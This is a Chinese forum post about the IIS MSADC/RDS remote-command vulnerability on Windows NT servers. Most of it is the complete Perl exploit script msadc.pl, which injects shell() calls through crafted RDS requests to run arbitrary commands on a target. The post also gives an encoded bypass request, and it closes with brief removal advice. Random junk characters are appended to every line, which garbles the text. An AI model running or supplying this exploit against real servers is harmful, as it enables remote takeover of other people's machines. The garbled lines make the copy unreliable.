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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) V*~Zs'L'E  
f7}*X|_Y  
涉及程序: CD8}I85 K  
Microsoft NT server yq$,,#XDD=  
--DoB=5%8  
描述: %;D.vKoh  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 b".L_Ma1*  
7VP32Eh[  
详细: N?.%?0l  
如果你没有时间读详细内容的话,就删除: M+x,opl  
c:\Program Files\Common Files\System\Msadc\msadcs.dll aFLO{tr`  
有关的安全问题就没有了。 5scEc,JCi  
t]e;;q=L.  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 9H%X2#:fH  
Gw1@KKg  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ZzX~&95G  
关于利用ODBC远程漏洞的描述,请参看: 'PP#^aI,  
 E6WA}_  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm y a_<^O 9  
nWHa.H#  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 y\x+  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp FKmFo^^0  
znHnVYll(  
这里不再论述。 Hik3wPnp  
}C|dyyr  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: \W`w` o  
5+wAzVA  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 5>TK^1 :  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! uDZT_c'Y  
LupkrxV  
0c#/hFn  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ,tg0L$qC  
OiP!vn}k  
#!perl r4#o+qE  
# 4f;HQ-Iv  
# MSADC/RDS 'usage' (aka exploit) script -uy`!A  
# RG4sQ0  
# by rain.forest.puppy *H|M;G  
# 9tqF8pb7v  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me &sd}ulEg`  
# beta test and find errors! H_QsNf  
,#kIr  
use Socket; use Getopt::Std; f^.AD-  
getopts("e:vd:h:XR", \%args); (zFi$  
y? co|  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ^) s2$A:L  
x>Jr_A(  
if (!defined $args{h} && !defined $args{R}) { v 7x:dcV  
print qq~ C;vtY[}<  
Usage: msadc.pl -h <host> { -d <delay> -X -v } pLzk   
-h <host> = host you want to scan (ip or domain) HC}YY2  
-d <seconds> = delay between calls, default 1 second @Rw!'T  
-X = dump Index Server path table, if available D N*t~Z3[  
-v = verbose =7o"u3hG  
-e = external dictionary file for step 5 1N>|yQz  
Ck|8qUz-  
Or a -R will resume a command session t0T"@t#c  
8M`#pN^  
~; exit;} e[#j.|m  
ok4@N @  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; '^"6+k  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 7?%k7f  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Zc`BiLzrIG  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); g'm+/pU)w)  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} A, LuD.8  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } [n$BRk|  
=Fr(9 (  
if (!defined $args{R}){ $ret = &has_msadc; sK5r$Dbr  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} M%0C_=zg  
gE?| _x#  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" n0e1k.A  
. "cmd /c "; w2'f/  
$in=<STDIN>; chomp $in; wL:flH@  
$command="cmd /c " . $in ; `u&Zrdr,  
?C A,  
if (defined $args{R}) {&load; exit;} ~'CE[G5  
<>aw 1WM+  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ?I~()]k5  
&try_btcustmr; m~-K[+ya`D  
&b fA.& `  
print "\nStep 2: Trying to make our own DSN..."; 2-Ej4I~  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; u /\EtSH  
U_n9]Z  
print "\nStep 3: Trying known DSNs..."; I ,z3xU  
&known_dsn; \}"$ ?d'f  
P<a)25be/  
print "\nStep 4: Trying known .mdbs..."; :i. {  
&known_mdb; ^Uf]Q$uCjE  
f>UXD  
if (defined $args{e}){ hUp.tK:X7o  
print "\nStep 5: Trying dictionary of DSN names..."; z;|A(*Y  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } K+3IWZ&+dG  
$4 S@  
print "Sorry Charley...maybe next time?\n"; |m^k_d!d  
exit; BlA_.]Sg$  
@c;|G$E@3  
############################################################################## 4hTMbS_;  
$',K7%y  
sub sendraw { # ripped and modded from whisker K,:cJ  
sleep($delay); # it's a DoS on the server! At least on mine... )quM4=u'  
my ($pstr)=@_; IpcNuZo9&  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || yl7&5)b#9  
die("Socket problems\n"); mR?5G: W~R  
if(connect(S,pack "SnA4x8",2,80,$target)){ { + Zd*)M[  
select(S); $|=1; e} P I^bc  
print $pstr; my @in=<S>; LIvFx|  
select(STDOUT); close(S); pgQV/6  
return @in; Af'" 6BS  
} else { die("Can't connect...\n"); }} XF;ES3 d  
-y8`yHb_  
############################################################################## )GM41t1i  
=WyZX 7@R  
sub make_header { # make the HTTP request b`~p.c%(  
my $msadc=<<EOT ,D]QxbwZ  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 #t: S.A@  
User-Agent: ACTIVEDATA S||}nJ0  
Host: $ip <b`E_  
Content-Length: $clen hRrn$BdLX  
Connection: Keep-Alive +zaA,e?\  
V C24sU  
ADCClientVersion:01.06 smRE!f*q  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 C/vI EYG4  
$o0 iLFIX/  
--!ADM!ROX!YOUR!WORLD! WJkZ!O$"j  
Content-Type: application/x-varg -EkWs/'h  
Content-Length: $reqlen T`\x,` ^  
VC\S'z  
EOT $Q96,rb}k;  
; $msadc=~s/\n/\r\n/g; u'|4?"uz  
return $msadc;} ;CmS ~K:  
cDFO;Dr  
############################################################################## 1 u| wMO  
aWWU4xe  
sub make_req { # make the RDS request TDFkxB>  
my ($switch, $p1, $p2)=@_; Po__-xN>Q  
my $req=""; my $t1, $t2, $query, $dsn; i|w81p^o  
h_:C+)13`x  
if ($switch==1){ # this is the btcustmr.mdb query Gb#Cm]  
$query="Select * from Customers where City=" . make_shell(); >VP= MbN  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 6K-_pg]  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} <acUKfpY  
Xm%D><CC8"  
elsif ($switch==2){ # this is general make table query E .7  
$query="create table AZZ (B int, C varchar(10))"; =BSzsH7  
$dsn="$p1";} 1zm ulj%&  
(@<lRA ^  
elsif ($switch==3){ # this is general exploit table query #{?PbBE}  
$query="select * from AZZ where C=" . make_shell(); %Y<|;0v  
$dsn="$p1";}  FT#8L  
_=Z,E.EN  
elsif ($switch==4){ # attempt to hork file info from index server OGde00  
$query="select path from scope()"; 2N~Fg^xB  
$dsn="Provider=MSIDXS;";} T>}5:,N~  
Szq/hv=Q  
elsif ($switch==5){ # bad query -+ SF  
$query="select"; 0B@SN)<kH  
$dsn="$p1";} C([phT;  
qq) rd  
$t1= make_unicode($query); k2c}3 MeP  
$t2= make_unicode($dsn); %W%9j#!aN  
$req = "\x02\x00\x03\x00"; ^?cz,N~  
$req.= "\x08\x00" . pack ("S1", length($t1)); Gn|F`F  
$req.= "\x00\x00" . $t1 ; {sihus#Q  
$req.= "\x08\x00" . pack ("S1", length($t2)); -=)+dCyB^  
$req.= "\x00\x00" . $t2 ; hd>aZ"nm1  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; #MX'^RZ>2  
return $req;} VL% UR{  
S{PJUAu  
############################################################################## ?EJD?,}  
so"$m  
sub make_shell { # this makes the shell() statement Ss~;m']68  
return "'|shell(\"$command\")|'";} $ACvV "b  
qfL~Wp2E;  
############################################################################## |]J>R  
9K5pwC\$%  
sub make_unicode { # quick little function to convert to unicode 'oF%,4 !Y  
my ($in)=@_; my $out; 0Fk5kGD,&K  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } u.mJQDTH  
return $out;} qUjmB sB  
zm]aU`j  
############################################################################## i`Q KH  
!lf|7  
sub rdo_success { # checks for RDO return success (this is kludge) e\Y*F  
my (@in) = @_; my $base=content_start(@in); )2V:  
if($in[$base]=~/multipart\/mixed/){ zo+nq%=  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 3a?o3=  
return 0;} \R|4( +]x  
8Eakif0CO  
############################################################################## B8B; y^b>i  
rM .|1(u  
sub make_dsn { # this makes a DSN for us o_@4Sl8  
my @drives=("c","d","e","f"); ~i~7 n a|  
print "\nMaking DSN: "; #0ETY\}ZD  
foreach $drive (@drives) { "}pNe"ok  
print "$drive: "; 1u: gFUb  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . PV9pa/`@  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" i\KQ!f>A  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 4*Q#0`um  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; <\NY<QIwFw  
return 0 if $2 eq "404"; # not found/doesn't exist @!`Xl*l  
if($2 eq "200") { oASY7k_3  
foreach $line (@results) { V'kX)$  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} {$R' WXVs  
} return 0;} POvP]G9'"  
2^^`n1?'  
############################################################################## p?B=1vn-2  
B[V+ND'(  
sub verify_exists { kPVO?uO  
my ($page)=@_; t^6dzrF  
my @results=sendraw("GET $page HTTP/1.0\n\n"); U@-^C"R  
return $results[0];} !q9+9 *6  
J@4Bf  
############################################################################## w *oeK  
c2&q*]?l;  
sub try_btcustmr { :/ Q   
my @drives=("c","d","e","f"); %] >KvoA  
my @dirs=("winnt","winnt35","winnt351","win","windows"); oJ4 AIQjB  
~nrK>%  
foreach $dir (@dirs) { MFb9H{LA  
print "$dir -> "; # fun status so you can see progress H`0|tepz  
foreach $drive (@drives) { huJ&]"C  
print "$drive: "; # ditto kg'o&^/=  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Z/t+8;TMR,  
$reqlenlen=length( "$reqlen" ); Ed_N[ I   
$clen= 206 + $reqlenlen + $reqlen; *q()f\  
,6om\9.E@  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); NdzSz]q}  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}  CCL   
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 8=gjY\Dp  
[N/"5 [  
############################################################################## `[W[H(AjQ  
\=6l9Lrj>h  
sub odbc_error { i'#E )  
my (@in)=@_; my $base; mGJasn  
my $base = content_start(@in); \3pc"^W  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this R'C2o]  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; go'-5in(  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %O!v"Xh  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; T`5bZu^c  
return $in[$base+4].$in[$base+5].$in[$base+6];} Mz~M3$$9n  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; w-Da~[J  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ><gG8MH0'  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} v 8$>rwB  
0cJWJOj&  
############################################################################## no< ^f]33  
~ xft  
sub verbose { Ry%Mej:  
my ($in)=@_; ]Bjyi[#bg  
return if !$verbose; "4uS3h2r  
print STDOUT "\n$in\n";} 0@H|n^Md#  
m^GJuP LW  
##############################################################################  :}@g6   
1T-8K r  
sub save { o]; [R  
my ($p1, $p2, $p3, $p4)=@_; /.Ww6a~  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ;|vpwB@B  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ?e,pN,4  
close OUT;} "a8j"lPJ  
E )5E$  
############################################################################## FRg^c kb"  
XT@-$%u  
sub load { Z;:u'=  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; eC[$B99\  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); oAPb*;}  
@p=<IN>; close(IN); <;#~l*  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); V&Xe!S  
$target= inet_aton($ip) || die("inet_aton problems"); m0cP(  
print "Resuming to $ip ..."; ;uw Ryd  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; YRh  B RE  
if($p[1]==1) { v(EEG/~  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; k;w- E  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 6y6<JR-V2k  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); QrYpZZ;  
if (rdo_success(@results)){print "Success!\n";} ~ ; -! n;  
else { print "failed\n"; verbose(odbc_error(@results));}} pBETA'fY  
elsif ($p[1]==3){ 20Z8HwQi  
if(run_query("$p[3]")){ IFDZfx  
print "Success!\n";} else { print "failed\n"; }} }MHCd)78b  
elsif ($p[1]==4){ = Wu *+paQ  
if(run_query($drvst . "$p[3]")){ r9 !Tug*>m  
print "Success!\n"; } else { print "failed\n"; }} /4 vG3  
exit;} 1$%V{4bJ  
)w0AC"2O~  
############################################################################## +=.W<b  
A9kzq_ 3  
sub create_table { qU#BJON]BR  
my ($in)=@_; uwjGDw  
$reqlen=length( make_req(2,$in,"") ) - 28; 8[J}CdS  
$reqlenlen=length( "$reqlen" ); 7LU}Iiv  
$clen= 206 + $reqlenlen + $reqlen; j& <i&  
my @results=sendraw(make_header() . make_req(2,$in,"")); !kE-_dY6)  
return 1 if rdo_success(@results); aEWWFN  
my $temp= odbc_error(@results); verbose($temp); FKT1fv[H  
return 1 if $temp=~/Table 'AZZ' already exists/; qt;y2gf=  
return 0;} "Q?k'^@  
8`fjF/  
############################################################################## :@!ic<p  
e{v=MxO=S  
sub known_dsn { &'DU0c&  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go mGGsB5#w>  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", TH$N5w%  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", d\ ~QBr?  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); o4zM)\;F  
tc!wLnhG  
foreach $dSn (@dsns) { "B8"_D&  
print "."; V`7FKL@"  
next if (!is_access("DSN=$dSn")); #*g5u{k'P  
if(create_table("DSN=$dSn")){ 'I /aboDB  
print "$dSn successful\n"; M>>qn_yq4  
if(run_query("DSN=$dSn")){ =@8H"&y`  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { %B)6$!x  
print "Something's borked. Use verbose next time\n";}}} print "\n";} EB_NK  
y(=#WlK }  
############################################################################## BYo/57&:  
ulER1\W  
sub is_access { OLvcivf  
my ($in)=@_; ZU9c 5/J  
$reqlen=length( make_req(5,$in,"") ) - 28; E)9yH\$6  
$reqlenlen=length( "$reqlen" ); kr9g K~  
$clen= 206 + $reqlenlen + $reqlen; jvV9eA:zl  
my @results=sendraw(make_header() . make_req(5,$in,"")); Zt&6Ua[Y}  
my $temp= odbc_error(@results); P7x =  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); eU N"w,@y  
return 0;} pIKSs<IP  
0`I-2M4F*Q  
############################################################################## XxaGp95so  
"luR9l,RRE  
sub run_query { yH<$k^0r*  
my ($in)=@_; , E$@=1)  
$reqlen=length( make_req(3,$in,"") ) - 28; 60)iw4<wf  
$reqlenlen=length( "$reqlen" ); ]Bm>-*@0N  
$clen= 206 + $reqlenlen + $reqlen; F|HJH"2*&q  
my @results=sendraw(make_header() . make_req(3,$in,"")); _%x4ty  
return 1 if rdo_success(@results); XK5<Tg  
my $temp= odbc_error(@results); verbose($temp); ) 9oH,gZ  
return 0;} 1 `7<2w  
;_(PVo  
############################################################################## JMS(9>+TA  
3tmdi3s  
sub known_mdb { bLnrbid  
my @drives=("c","d","e","f","g"); /^ " 83?_  
my @dirs=("winnt","winnt35","winnt351","win","windows"); nWvuaQ0}  
my $dir, $drive, $mdb; N|Sf=q?Ko  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; P@]8pIB0d^  
7'-j%!#w  
# this is sparse, because I don't know of many wM _ 6{  
my @sysmdbs=( "\\catroot\\icatalog.mdb", R+~cl;#G6  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", wO>L#"X^v  
"\\system32\\certmdb.mdb", Ol')7d&  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% c0Dmq)HK?  
:vL1}H<  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", OGrBUP  
"\\cfusion\\cfapps\\forums\\forums_.mdb", .Xdj(_&  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 8V-\e?&^  
"\\cfusion\\cfapps\\security\\realm_.mdb", JNFIT;L  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", G8IY#  
"\\cfusion\\database\\cfexamples.mdb", S',9g4(5  
"\\cfusion\\database\\cfsnippets.mdb", &|<xqt  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", b`_w])Y@  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", vwr74A.g0  
"\\cfusion\\brighttiger\\database\\cleam.mdb", R4<lln:[  
"\\cfusion\\database\\smpolicy.mdb", <q,+ON\'  
"\\cfusion\\database\cypress.mdb", a0*2) uL}  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", RAjkH`  
"\\website\\cgi-win\\dbsample.mdb", do-c1;M  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", dxj*Q "K  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ;p ]y)3  
); #these are just {FI\~ q  
foreach $drive (@drives) { b%t+,0s|  
foreach $dir (@dirs){ 3g~^LZ66  
foreach $mdb (@sysmdbs) { ?R5'#|EyX  
print "."; D0;tcm.$  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ~B$b)`*  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 0"g@!gSrQ  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ PVa o  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; @+_&Y]  
} else { print "Something's borked. Use verbose next time\n"; }}}}} > 4oY3wk8  
&&L"&Rc  
foreach $drive (@drives) { /dDzZ%/@  
foreach $mdb (@mdbs) { @gSkROCdC)  
print ".";  0v^:  
if(create_table($drv . $drive . $dir . $mdb)){ 9zgNjjCl]  
print "\n" . $drive . $dir . $mdb . " successful\n"; iQ^: ])m>  
if(run_query($drv . $drive . $dir . $mdb)){ CDp8)=WJFF  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; xaXV ^ZM3  
} else { print "Something's borked. Use verbose next time\n"; }}}} Kj*m r%IaU  
} DY><qk  
Um ;kd&#x  
##############################################################################  a@|.;#FF  
g'G8 3F  
sub hork_idx { MM_py!=>7  
print "\nAttempting to dump Index Server tables...\n"; 4/L>&%8V  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Zd>ZY,-5  
$reqlen=length( make_req(4,"","") ) - 28; -,>:DUN2  
$reqlenlen=length( "$reqlen" ); y'rN5J:l  
$clen= 206 + $reqlenlen + $reqlen; R^9"N?Q7;`  
my @results=sendraw2(make_header() . make_req(4,"","")); WzG07 2w  
if (rdo_success(@results)){ N^@ \tg=  
my $max=@results; my $c; my %d; vug-n 8  
for($c=19; $c<$max; $c++){ -fM1$/]  
$results[$c]=~s/\x00//g; Am7| /  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; h Z#\t  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;  EW5]!%  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; |' @[N,  
$d{"$1$2"}="";} Xr2J:1pgg  
foreach $c (keys %d){ print "$c\n"; }  3Vu8F"  
} else {print "Index server doesn't seem to be installed.\n"; }} OQ| ,-  
gY\mXM*^  
############################################################################## m9g^ -X  
^%zNa6BL  
sub dsn_dict { pU[K%@sC  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ")\ *2d  
while(<IN>){ l-=e62I{=|  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; /a%KS3>V*  
next if (!is_access("DSN=$dSn")); 14u^[M" U  
if(create_table("DSN=$dSn")){ j}RM.C\7  
print "$dSn successful\n"; Z`"n:'&  
if(run_query("DSN=$dSn")){ Ey = 4 b  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { o?=fhc  
print "Something's borked. Use verbose next time\n";}}} S W-0h4  
print "\n"; close(IN);} mE_iS?1  
J<-Fua^  
############################################################################## Ris-tdg  
T;%+]:w<  
sub sendraw2 { # ripped and modded from whisker [R$liN99z;  
sleep($delay); # it's a DoS on the server! At least on mine... I,z"_[^G  
my ($pstr)=@_; Q5T(nEA  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || " xxXZGUp  
die("Socket problems\n"); wJr/FE 7c  
if(connect(S,pack "SnA4x8",2,80,$target)){ k#-[ M.i  
print "Connected. Getting data"; :`j"Sj !t3  
open(OUT,">raw.out"); my @in; 'iDu0LX  
select(S); $|=1; print $pstr; {!tOI  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} '&{(:,!B  
close(OUT); select(STDOUT); close(S); return @in; OT"lP(,  
} else { die("Can't connect...\n"); }} R =QM;  
@]yQJuXA&Z  
############################################################################## 9`E-dr9  
L7[X|zmy*x  
sub content_start { # this will take in the server headers =1_jaDp  
my (@in)=@_; my $c; UFJEs[?+Te  
for ($c=1;$c<500;$c++) { q w"e0q%)  
if($in[$c] =~/^\x0d\x0a/){ w`"W3(  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } (2 mS v  
else { return $c+1; }}} M!{Rq1M  
return -1;} # it should never get here actually MEDskvBG  
8g&uE*7N  
############################################################################## ta2z  
x%ZiE5#  
sub funky { Rf&^th}TH  
my (@in)=@_; my $error=odbc_error(@in); jWz|K  
if($error=~/ADO could not find the specified provider/){ C[^a/P`i  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 5 ,g$|,Shv  
exit;} QZ_nQ3K  
if($error=~/A Handler is required/){ X/K| WOO6  
print "\nServer has custom handler filters (they most likely are patched)\n"; Pau&4h0  
exit;} _zAc 5rS  
if($error=~/specified Handler has denied Access/){ 6eVe}V4W  
print "\nServer has custom handler filters (they most likely are patched)\n"; InTKdr^ P  
exit;}} AJdlqbd'+  
i,\t]EJAU  
############################################################################## D}3cW2!9  
`1DU b7<  
sub has_msadc {  W\zL  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); p=je"{  
my $base=content_start(@results); a .B\=3xn  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); jCdZ}M($  
return 0;} a'(lVZA;  
9~*_(yjF  
######################## ~6pCOS}  
#<^/yoH7C6  
n$A(6]z5O  
解决方案: b3jU~L$  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll P<g|y4h  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 %`<`z yf  
[{fF)D<tC  
拿出来充数 哈哈
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